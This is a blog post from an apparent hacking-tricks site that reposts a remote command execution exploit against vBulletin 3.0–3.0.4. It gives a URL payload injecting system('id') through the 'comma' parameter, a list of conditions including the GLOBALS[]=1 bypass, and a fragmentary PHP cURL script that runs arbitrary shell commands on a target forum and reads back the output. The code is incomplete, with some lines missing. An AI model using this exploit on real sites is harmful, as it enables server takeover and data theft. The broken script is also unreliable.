Saturday, August 6, 2011
Exploit:
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')." |
1st condition : $vboptions['showforumusers'] == True , the admin must set |
showforumusers ON in vbulletin options. |
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest. |
3rd condition : $DB_site->fetch_array($forumusers) == True , when you |
visit the forums, it must has at least one user show the forum. |
4th condition : magic_quotes_gpc must be OFF |
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in |
init.php by secret array GLOBALS[]=1 ;)))
if (!(function_exists( 'curl_init' ))) { |
echo "cURL extension required\n" ; |
$forumid = intval ( $argv [2]); |
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n" ; |
echo "Usage: " . $argv [0]. " [proxy]\n\n" ; |
echo " url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n" ; |
echo " command to execute on server (ex: 'ls -la')\n" ; |
echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n" ; |
echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"" ; |
$action = 'forumdisplay.php?GLOBALS[]=1&f=' . $forumid . '&comma=".`echo _START_`.`' . $command . '`.`echo _END_`."' ; |
curl_setopt( $ch , CURLOPT_PROXY, $proxy ); |
curl_setopt( $ch , CURLOPT_URL, $url . '/' . $action ); |
curl_setopt( $ch , CURLOPT_RETURNTRANSFER,1); |
$res = substr ( $res , strpos ( $res , '_START_' )+7); |
$res = substr ( $res ,0, strpos ( $res , '_END_' )); |
?>
- Copyright ©
.Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -